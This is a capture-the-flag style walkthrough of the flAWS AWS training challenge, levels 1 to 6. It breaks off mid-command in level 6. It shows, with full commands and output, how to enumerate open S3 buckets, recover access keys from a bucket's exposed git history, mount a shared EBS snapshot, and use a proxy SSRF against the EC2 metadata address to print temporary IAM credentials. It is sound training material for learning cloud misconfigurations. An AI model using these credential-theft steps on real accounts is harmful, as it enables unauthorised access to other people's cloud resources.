AWS Challenges flaws writeup

Walkethrough for the awsFlaws challenges

Posted by xtromera on July 21, 2025 · 51 mins read

AWS FLAWS

This writeup will be a little bit different, we will be diving into cloud vulnerabilities and flaws, and how to exploit them. The challenges are from aws_flaws.

In total, there will be 6 challenges.


1. First Challenge:

In the first challenge, we are asked to find the first sub-domain.

We can proceed by doing the dig command.

dig flaws.cloud

; <<>> DiG 9.20.2-1-Debian <<>> flaws.cloud
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56078
;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;flaws.cloud.                   IN      A

;; ANSWER SECTION:
flaws.cloud.            5       IN      A       52.92.146.67
flaws.cloud.            5       IN      A       52.218.136.210
flaws.cloud.            5       IN      A       52.218.168.162
flaws.cloud.            5       IN      A       52.92.243.35
flaws.cloud.            5       IN      A       3.5.79.87
flaws.cloud.            5       IN      A       52.92.190.155
flaws.cloud.            5       IN      A       3.5.79.41
flaws.cloud.            5       IN      A       52.218.197.74

;; Query time: 55 msec
;; SERVER: 10.255.255.254#53(10.255.255.254) (UDP)
;; WHEN: Mon Jul 21 21:40:21 EEST 2025
;; MSG SIZE  rcvd: 168

We can see we get multiple addresses.

We can check any of them.


1

We are redirected to aws.amazon, specially S3.

This means that the website is using an S3 bucket. We need to know its region and where it is hosted.

We can proceed a quick nslookup for that

└─$ nslookup 52.92.146.67
67.146.92.52.in-addr.arpa       name = s3-website-us-west-2.amazonaws.com.

Authoritative answers can be found from:

We get our answer.

Know, we know the region, and furthermore, we know that the challenges are subdomains of the original domain.
We can conclude that the subdomain we are looking for is.

http://flaws.cloud.s3-website-us-west-2.amazonaws.com/


1

Lets enumerate the S3 bucket.

└─$ aws s3 ls s3://flaws.cloud --region us-west-2 --no-sign-request
2017-03-14 05:00:38       2575 hint1.html
2017-03-03 06:05:17       1707 hint2.html
2017-03-03 06:05:11       1101 hint3.html
2024-02-22 04:32:41       2861 index.html
2018-07-10 18:47:16      15979 logo.png
2017-02-27 03:59:28         46 robots.txt
2017-02-27 03:59:30       1051 secret-dd02c7c.html

And we get some information.

What we need now is to read those files.

└─$ curl 'http://flaws.cloud.s3-website-us-west-2.amazonaws.com/secret-dd02c7c.html'
<html>
    <head>
        <title>flAWS</title>
        <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
        <style>
            body { font-family: Andale Mono, monospace; }
            :not(center) > pre { background-color: #202020; padding: 4px; border-radius: 5px; border-color:#00d000;
            border-width: 1px; border-style: solid;}
        </style>
    </head>
<body
  text="#00d000"
  bgcolor="#000000"
  style="max-width:800px; margin-left:auto ;margin-right:auto"
  vlink="#00ff00" link="#00ff00">

<center>
<pre >
 _____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  '  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|
</pre>

<h1>Congrats! You found the secret file!</h1>
</center>


Level 2 is at <a href="http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud">http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud</a>                                                                                               

Perfect now we can jump to level 2.


Second Challenge:

For the second one, we are asked to create an AWS account.


1

We can continue.

After adding our secret access key and configuration, we do the same steps than level 1.

└─$ aws s3  ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud --region us-west-2
2017-02-27 04:02:15      80751 everyone.png
2017-03-03 05:47:17       1433 hint1.html
2017-02-27 04:04:39       1035 hint2.html
2017-02-27 04:02:14       2786 index.html
2017-02-27 04:02:14         26 robots.txt
2017-02-27 04:02:15       1051 secret-e4443fc.html

We can this time copy the files using this command.

└─$ aws s3  cp s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html . --region us-west-2
download: s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html to ./secret-e4443fc.html

┌──(twilightxtromera)-[/tmp]
└─$ cat secret-e4443fc.html
<html>
    <head>
        <title>flAWS</title>
        <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
        <style>
            body { font-family: Andale Mono, monospace; }
            :not(center) > pre { background-color: #202020; padding: 4px; border-radius: 5px; border-color:#00d000;
            border-width: 1px; border-style: solid;}
        </style>
    </head>
<body
  text="#00d000"
  bgcolor="#000000"
  style="max-width:800px; margin-left:auto ;margin-right:auto"
  vlink="#00ff00" link="#00ff00">

<center>
<pre >
 _____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  '  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|
</pre>

<h1>Congrats! You found the secret file!</h1>
</center>


Level 3 is at <a href="http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud">http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud</a> 

And we jump to the next level.


Third Challenge:

The third challenge asks us to find a secret key and list other buckets.

We can try the same commands.

└─$ aws s3  ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ --region us-west-2
                           PRE .git/
2017-02-27 02:14:33     123637 authenticated_users.png
2017-02-27 02:14:34       1552 hint1.html
2017-02-27 02:14:34       1426 hint2.html
2017-02-27 02:14:35       1247 hint3.html
2017-02-27 02:14:33       1035 hint4.html
2020-05-22 20:21:10       1861 index.html
2017-02-27 02:14:33         26 robots.txt

3 Things seem interesting.

We can check the PNG, robots.txt, and the .git directory.

└─$ cat robots.txt
User-agent: *
Disallow: / 

Nothing.


1

Still nothing.

We can check the .git directory.

└─$ aws s3 cp s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/ .git/ --recursive --region us-west-2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/COMMIT_EDITMSG to .git/COMMIT_EDITMSG
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-commit.sample to .git/hooks/pre-commit.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/config to .git/config
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/description to .git/description
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/HEAD to .git/HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/commit-msg.sample to .git/hooks/commit-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-rebase.sample to .git/hooks/pre-rebase.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/post-update.sample to .git/hooks/post-update.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-applypatch.sample to .git/hooks/pre-applypatch.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/prepare-commit-msg.sample to .git/hooks/prepare-commit-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/update.sample to .git/hooks/update.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/index to .git/index
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b to .git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df to .git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 to .git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/logs/HEAD to .git/logs/HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/info/exclude to .git/info/exclude
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/c2/aab7e03933a858d1765090928dca4013fe2526 to .git/objects/c2/aab7e03933a858d1765090928dca4013fe2526
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2 to .git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/f2/a144957997f15729d4491f251c3615d508b16a to .git/objects/f2/a144957997f15729d4491f251c3615d508b16a
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25 to .git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/logs/refs/heads/master to .git/logs/refs/heads/master
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/refs/heads/master to .git/refs/heads/master
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c to .git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61 to .git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2 to .git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c to .git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/76/e4934c9de40e36f09b4e5538236551529f723c to .git/objects/76/e4934c9de40e36f09b4e5538236551529f723c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/applypatch-msg.sample to .git/hooks/applypatch-msg.sample

Now check the git directory.

└─$ git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

Interesting.

Lets check the HEAD.

└─$ git show HEAD
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

diff --git a/access_keys.txt b/access_keys.txt
deleted file mode 100644
index e3ae6dd..0000000
--- a/access_keys.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-access_key AKIAJ366LIPB4IJKT7SA
-secret_access_key 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

And we get the tokens :))

We can use them to enumerate further.

└─$ aws --profile temp s3 ls
2017-02-12 23:31:07 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-29 18:34:53 config-bucket-975426262029
2017-02-12 22:03:24 flaws-logs
2017-02-05 05:40:07 flaws.cloud
2017-02-24 03:54:13 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-26 20:15:44 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-26 20:16:06 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-26 21:44:51 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-26 21:47:58 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-26 22:06:32 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

We get all the files xD We can check them but we will just go with the challenge and proceed with level 4 :)) .


Fourth Challenge:

We are asked to get access to the web page running on an EC2 instance at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud


1

Going there automatically, we can see it requires authentication.

Non of the previous methods worked this time.

└─$ aws s3 --profile temp ls s3://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud --region us-west-2

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: User: arn:aws:iam::975426262029:user/backup is not authorized to perform: s3:ListBucket on resource: "arn:aws:s3:::level4-1156739cfb264ced6de514971a4bef68.flaws.cloud" because no identity-based policy allows the s3:ListBucket action

┌──(twilightxtromera)-[/mnt/c/Users/moham]
└─$ aws s3 --profile xtromera ls s3://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud --region us-west-2

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

As this time, this is not a S3 bucket but an EC2 backup that we need to find.

To do so, we need to get the Account ID of the profile we found the credentials earlier.

The account ID was from the error we got earlier. Or we can just this command.

└─$ aws --profile temp sts get-caller-identity
{
    "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}

And now, look for the backup.

└─$ aws --profile temp ec2 describe-snapshots --owner-id 975426262029 --region us-west-2
{
    "Snapshots": [
        {
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "flaws backup 2017.02.27"
                }
            ],
            "StorageTier": "standard",
            "TransferType": "standard",
            "CompletionTime": "2017-02-28T01:37:07+00:00",
            "SnapshotId": "snap-0b49342abd1bdcb89",
            "VolumeId": "vol-04f1c039bc13ea950",
            "State": "completed",
            "StartTime": "2017-02-28T01:35:12+00:00",
            "Progress": "100%",
            "OwnerId": "975426262029",
            "Description": "",
            "VolumeSize": 8,
            "Encrypted": false
        }
    ]
}


Snapshot Details Explained

{
  "SnapshotId": "snap-0b49342abd1bdcb89",      # Unique ID of the EBS snapshot
  "VolumeId": "vol-04f1c039bc13ea950",          # ID of the original EBS volume
  "VolumeSize": 8,                              # Size of the volume (in GB)
  "State": "completed",                         # Snapshot is complete and available
  "Encrypted": false,                           # It's NOT encrypted (important!)
  "Tags": [
    {
      "Key": "Name",
      "Value": "flaws backup 2017.02.27"        # Human-readable name tag
    }
  ],
  ...
}

Why This Is Important

  • The snapshot is unencrypted, and if it’s shared with public permissions, it can be mounted and read by any AWS user.

  • This is a real-world AWS misconfiguration often leading to data leaks (source code, config files, credentials, databases, etc.).


To interact with it, we need to mount it. We need to create an EC2 instance on our main account, then mount the snapshot.

└─$ aws ec2 create-volume \
  --region eu-north-1 \
  --availability-zone eu-north-1b \
  --snapshot-id snap-0ff8a433b59fe14aa \
  --volume-type gp2 \
  --profile xtromera

Then attach the volume.

$ aws ec2 attach-volume \
  --volume-id vol-0f9620243ec357ce2 \
  --instance-id i-0addc27866b2a502b \
  --device /dev/sdf \
  --region eu-north-1 \
  --profile xtromera

And now SSH to the newly created instance.

ubuntu@ip-172-31-38-28:~$ whoami
ubuntu
ubuntu@ip-172-31-38-28:~$

And mount it.

root@ip-172-31-38-28:/home/ubuntu# mkdir /flaws
root@ip-172-31-38-28:/home/ubuntu# sudo mount /dev/nvme1n1p1 /flaws/
root@ip-172-31-38-28:/home/ubuntu#

Lets explore it now.

We get the index page.

root@ip-172-31-38-28:/flaws/var/www/html# cat index.html
<html>
    <head>
        <title>flAWS</title>
        <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
        <style>
            body { font-family: Andale Mono, monospace; }
        </style>
    </head>
<body
  text="#00d000"
  bgcolor="#000000"
  style="max-width:800px; margin-left:auto ;margin-right:auto"
  vlink="#00ff00" link="#00ff00">
<center>
<pre>
 _____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  '  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|
</pre>
<h1>flAWS - Level 5</h1>
</center>


Good work getting in.  This level is described at <a href="http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/">http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/</a>

Jumping to level 5 now.


Fifth Challenge:

For the next challenge, we are asked to list the S3 bucket content of level 6. To do so , we are hinted that the EC2 from challenge 5 is using a proxy.

By checking a little bit, we found this blog explaining what is the metadta address and how to access it.

The EC2 is using a proxy, so we can hit it with this CURL command.

└─$ curl 'http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/'
1.0
2007-01-19
2007-03-01
2007-08-29
2007-10-10
2007-12-15
2008-02-01
2008-09-01
2009-04-04
2011-01-01
2011-05-01
2012-01-12
2014-02-25
2014-11-05
2015-10-20
2016-04-19
2016-06-30
2016-09-02
2018-03-28
2018-08-17
2018-09-24
2019-10-01
2020-10-27
2021-01-03
2021-03-23
2021-07-15
2022-09-24
2024-04-11
latest   

After some digging we found those credentials.

$ curl 'http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/'
{
  "Code" : "Success",
  "LastUpdated" : "2025-07-22T16:46:33Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA6GG7PSQGRQOPE2PL",
  "SecretAccessKey" : "nW2tNK9t+ohkP4Q3G8rAa5RxELXJc19fo12q8xgo",
  "Token" : "IQoJb3JpZ2luX2VjENn//////////wEaCXVzLXdlc3QtMiJHMEUCIQDg9SQzX0e21O+8b5KG2yQxt/NzbkvSVm3HuQwZAN/zzgIgLl5fb3oEsmOz5TXM7SrZRyvf2+L5gYyOnaB7VzkcB3AquwUI8v//////////ARAEGgw5NzU0MjYyNjIwMjkiDGamnaEx6uVV0cxyMSqPBTwo5IrdRv3WNYf6QSsLh1aM9MkLCqan69CxizDlNe7qUk25UMKOg7iMG8GP8JjALS2dLJGBMe94ad5xW82yBwMjUBzpdfmQCS4u3R1GZJVcVXx8kgVm26VHhHjVQtjMGBaYearOGMkQ7YHtl+m3sjCNwpJ3p6bN+hpLbpnnmsDqXdhdxGWG30auEaEC588nqwwc4Qi59fNJMzQiTbLGyZQJ77n+N5sh05WvncFx4WiT0eYTlbTQxM4NqZUn8Vfv6vndKy7EbCjNz70hq1UQlYnygMfAac1qc/PmO8tiHTwVu1Y+Z2NFzyjOIvNrXWaoRDSp92Kb9MlgH9FjijI4g/aRtgF5WkSLmqeYt0vTs4ZMp0+3iV8b6omr5mKg4H/jEXWZtrsMud8tTs+qlXRrNmSB66VsMxrEZey+KQPDwNb5aJlvOWuIChp4B8xlaO6Np2aZu2oJ6qXjw65Qn5Z1bt6LMS2/FLJ7abojoYOFqtBLbRhYkuFYl9v1hE43ODzP3v0zyQUkGv5CLkWdmJq+64b+X/YrPhiZkW9Iagpl+iLPAGqEn+Dcr5Xtkf+4UjpJID5VhDb3oPz7L5yteMS5q+fNAP6WPz9AafVoqnkWloc1TzLOxfXPtesuow7na0L/yPChE5n1/b1S6hBl6NXkUBS/MEiUAIHOBa9ghJYSjiX5X7+cNYbTBwDnRLhuNZeXxmsPisCv2OxI++eBB+92E9I8bVeuvcXYH47x7aENhP8En4Ix0FEWSwskNZFFhQGLnCuoQSBY0gUYJHW+WDeQ0iQctAjudDQPGYFRu0A5Q5ydf17iKiPfKCEiDHdDNWLlYMsuXTt128N7OZ8DN78IiIssB9x8UPWbCjxCbWwaeIMwyoD/wwY6sQGGD+1Aq4EHFsjrIvNAKz9S7mGEaYhmXZVhJfyVRUu3R98X6pDlgl6u3xYV5eGybhrz35qfQfzW+LF5RrFHHgflQ8DaApKd2vU8cTjD6oeAgBFOG2GlDK6u3vnQmnD2q7trkrl3CImo56V5FZnw/+dO4ckN1bbicd6ncQAZMc7qHPwkeKxK6FjbX89C/BKDvdB4RlVfj6v7ZxRvgLQxDcQvIULH2QMofI1BzAHBYvsV2I0=",
  "Expiration" : "2025-07-22T23:09:58Z"
}                                                                                                                       

Now setup the profile and list the level 6 bucket content.

└─$ aws --profile temp2 s3 ls  level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
                           PRE ddcc78ff/
2017-02-27 04:11:07        871 index.html


Sixth Challenge:

For this last challenge, we are asked to try and see what we can do with the access ID and secret we have as this user has the SecurityAudit policy attached to it.

We first set the profile and see what we can do.

Then we list the IAM policies.

└─$ aws --profile temp3 iam list-attached-user-policies --user-name level6
{
    "AttachedPolicies": [
        {
            "PolicyName": "MySecurityAudit",
            "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
        },
        {
            "PolicyName": "list_apigateways",
            "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
        }
    ]
}

We can see list_apigateways which is not a default one.

We need to understand what it does.

└─$ aws iam get-policy-version \
  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways \
  --version-id $(aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile temp3 --query 'Policy.DefaultVersionId' --output text) \
  --profile temp3
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "apigateway:GET"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2017-02-20T01:48:17+00:00"
    }
}

Great — this confirms that the list_apigateways policy allows:

"Action": "apigateway:GET"

on:

"Resource": "arn:aws:apigateway:us-west-2::/restapis/*"

What this Means

We can list API Gateway resources (REST APIs), and potentially enumerate their stages, resources, and methods, even if we’re not allowed to invoke them directly. This often leads to:

  • Discovering exposed endpoints (with public or internal access)

  • Enumerating backend integrations (like Lambda, S3, EC2)

  • Sometimes finding secrets in the code, headers, or responses


Running the command.

└─$ aws apigateway get-rest-apis --region us-west-2 --profile temp3

An error occurred (AccessDeniedException) when calling the GetRestApis operation: User: arn:aws:iam::975426262029:user/Level6 is not authorized to perform: apigateway:GET on resource: arn:aws:apigateway:us-west-2::/restapis because no identity-based policy allows the apigateway:GET action

What Just Happened?

Even though the policy explicitly allows:

"Action": "apigateway:GET",
"Resource": "arn:aws:apigateway:us-west-2::/restapis/*"

The GetRestApis call is being denied on:

arn:aws:apigateway:us-west-2::/restapis

Which is not covered by the wildcard .../restapis/*. The resource for listing all APIs is literally /restapisnot a subresource.


We can check the other policy too.

└─$ aws iam get-policy-version \
  --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit \
  --version-id $(aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --profile temp3 --query 'Policy.DefaultVersionId' --output text) \
  --profile temp3

{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "acm:Describe*",
                        "acm:List*",
                        "application-autoscaling:Describe*",
                        "athena:List*",
                        "autoscaling:Describe*",
                        "batch:DescribeComputeEnvironments",
                        "batch:DescribeJobDefinitions",
                        "clouddirectory:ListDirectories",
                        "cloudformation:DescribeStack*",
                        "cloudformation:GetTemplate",
                        "cloudformation:ListStack*",
                        "cloudformation:GetStackPolicy",
                        "cloudfront:Get*",
                        "cloudfront:List*",
                        "cloudhsm:ListHapgs",
                        "cloudhsm:ListHsms",
                        "cloudhsm:ListLunaClients",
                        "cloudsearch:DescribeDomains",
                        "cloudsearch:DescribeServiceAccessPolicies",
                        "cloudtrail:DescribeTrails",
                        "cloudtrail:GetEventSelectors",
                        "cloudtrail:GetTrailStatus",
                        "cloudtrail:ListTags",
                        "cloudwatch:Describe*",
                        "codebuild:ListProjects",
                        "codedeploy:Batch*",
                        "codedeploy:Get*",
                        "codedeploy:List*",
                        "codepipeline:ListPipelines",
                        "codestar:Describe*",
                        "codestar:List*",
                        "cognito-identity:ListIdentityPools",
                        "cognito-idp:ListUserPools",
                        "cognito-sync:Describe*",
                        "cognito-sync:List*",
                        "datasync:Describe*",
                        "datasync:List*",
                        "dax:Describe*",
                        "dax:ListTags",
                        "directconnect:Describe*",
                        "dms:Describe*",
                        "dms:ListTagsForResource",
                        "ds:DescribeDirectories",
                        "dynamodb:DescribeContinuousBackups",
                        "dynamodb:DescribeGlobalTable",
                        "dynamodb:DescribeTable",
                        "dynamodb:DescribeTimeToLive",
                        "dynamodb:ListBackups",
                        "dynamodb:ListGlobalTables",
                        "dynamodb:ListStreams",
                        "dynamodb:ListTables",
                        "ec2:Describe*",
                        "ecr:DescribeRepositories",
                        "ecr:GetRepositoryPolicy",
                        "ecs:Describe*",
                        "ecs:List*",
                        "eks:DescribeCluster",
                        "eks:ListClusters",
                        "elasticache:Describe*",
                        "elasticbeanstalk:Describe*",
                        "elasticfilesystem:DescribeFileSystems",
                        "elasticloadbalancing:Describe*",
                        "elasticmapreduce:Describe*",
                        "elasticmapreduce:ListClusters",
                        "elasticmapreduce:ListInstances",
                        "es:Describe*",
                        "es:ListDomainNames",
                        "events:DescribeEventBus",
                        "events:ListRules",
                        "firehose:Describe*",
                        "firehose:List*",
                        "fsx:Describe*",
                        "fsx:List*",
                        "gamelift:ListBuilds",
                        "gamelift:ListFleets",
                        "glacier:DescribeVault",
                        "glacier:GetVaultAccessPolicy",
                        "glacier:ListVaults",
                        "globalaccelerator:Describe*",
                        "globalaccelerator:List*",
                        "greengrass:List*",
                        "guardduty:Get*",
                        "guardduty:List*",
                        "iam:GenerateCredentialReport",
                        "iam:Get*",
                        "iam:List*",
                        "iam:SimulateCustomPolicy",
                        "iam:SimulatePrincipalPolicy",
                        "iot:Describe*",
                        "iot:List*",
                        "kinesis:DescribeStream",
                        "kinesis:ListStreams",
                        "kinesis:ListTagsForStream",
                        "kinesisanalytics:ListApplications",
                        "kms:Describe*",
                        "kms:List*",
                        "lambda:GetAccountSettings",
                        "lambda:GetPolicy",
                        "lambda:List*",
                        "license-manager:List*",
                        "logs:Describe*",
                        "logs:ListTagsLogGroup",
                        "machinelearning:DescribeMLModels",
                        "mediaconnect:Describe*",
                        "mediaconnect:List*",
                        "mediastore:GetContainerPolicy",
                        "mediastore:ListContainers",
                        "opsworks-cm:DescribeServers",
                        "organizations:List*",
                        "quicksight:Describe*",
                        "quicksight:List*",
                        "ram:List*",
                        "rds:Describe*",
                        "rds:DownloadDBLogFilePortion",
                        "rds:ListTagsForResource",
                        "redshift:Describe*",
                        "rekognition:Describe*",
                        "rekognition:List*",
                        "robomaker:Describe*",
                        "robomaker:List*",
                        "route53:Get*",
                        "route53:List*",
                        "route53domains:GetDomainDetail",
                        "route53domains:GetOperationDetail",
                        "route53domains:ListDomains",
                        "route53domains:ListOperations",
                        "route53domains:ListTagsForDomain",
                        "route53resolver:List*",
                        "s3:ListAllMyBuckets",
                        "sagemaker:Describe*",
                        "sagemaker:List*",
                        "sdb:DomainMetadata",
                        "sdb:ListDomains",
                        "securityhub:Get*",
                        "securityhub:List*",
                        "serverlessrepo:GetApplicationPolicy",
                        "serverlessrepo:List*",
                        "sqs:GetQueueAttributes",
                        "sqs:ListQueues",
                        "ssm:Describe*",
                        "ssm:ListDocuments",
                        "storagegateway:List*",
                        "tag:GetResources",
                        "tag:GetTagKeys",
                        "transfer:Describe*",
                        "transfer:List*",
                        "translate:List*",
                        "trustedadvisor:Describe*",
                        "waf:ListWebACLs",
                        "waf-regional:ListWebACLs",
                        "workspaces:Describe*"
                    ],
                    "Resource": "*",
                    "Effect": "Allow"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2019-03-03T16:42:45+00:00"
    }
}

This policy allow us to list all the lambda functions.

└─$ aws lambda list-functions --region us-west-2 --profile temp3
{
    "Functions": [
        {
            "FunctionName": "Level6",
            "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
            "Runtime": "python2.7",
            "Role": "arn:aws:iam::975426262029:role/service-role/Level6",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 282,
            "Description": "A starter AWS Lambda function.",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2017-02-27T00:24:36.054+0000",
            "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "d45cc6d9-f172-4634-8d19-39a20951d979",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/Level6"
            }
        }
    ]
}

We can see we have a function called level6 lets see what it can do.

└─$ aws --region us-west-2 --profile temp3 lambda get-policy --function-name Level6
{
